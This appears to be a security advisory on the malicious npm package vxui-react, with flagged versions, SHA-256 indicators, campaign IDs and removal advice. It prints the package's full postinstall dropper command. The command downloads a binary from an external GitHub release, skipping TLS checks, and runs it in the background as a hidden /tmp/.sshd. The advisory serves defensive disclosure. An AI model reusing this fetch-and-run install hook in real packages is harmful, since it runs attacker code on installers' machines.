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Malicious package

vxui-reactnpm

Malicious code in vxui-react (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4793
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall vxui-react

What this malware does

On npm install, package.json's postinstall script runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. The fetch disables TLS verification (-k), silences errors, points at an unpinned latest release on a GitHub account (parikhpreyash4) unrelated to the package's declared repository (tmplink/vxui_react), verifies no hash, drops the binary at a hidden path masquerading as the ssh daemon (/tmp/.sshd), and backgrounds it so the install completes without surfacing the child process. Every installer running npm install vxui-react thereby executes arbitrary attacker-controlled code on their machine. The package additionally lists itself (vxui-react: ^1.3.1) in its own dependencies, an unusual shape consistent with namespace/dependency-graph manipulation; the dropper above is the primary harm.

Malicious versions

3 flagged
1.3.21.3.31.3.4

Indicators of compromise (SHA-256)

13bbe33aacfc1fbc5bfb31899dfb16006499c3f15818486d1c5f4fd03922b0bc
bde616ebc21909bfa386bf8e49438da710f48b62ae3127f2a7259c71557a4242
1623f4ac033646e144ec5ec608a905683ddbe808470efc314b84ab3c669f37ab
4a420b4b3937eae5d068ca9bdf7903a1f88ef0e39ed871eef73d0ee87cce83e6
4af2c5e995ae069d3037f1310d055fac142dd6bb2ccd5ecb7e7f9a518e8022f0
80e93f9ee628036f955e445139afecbfef7b46471156cd771969fb78f06df259

Frequently asked questions

No. vxui-react on npm has been identified as a malicious package (versions 1.3.2, 1.3.3, 1.3.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004870IN-MAL-2026-004869IN-MAL-2026-005605IN-MAL-2026-005604IN-MAL-2026-005606IN-MAL-2026-005607

References

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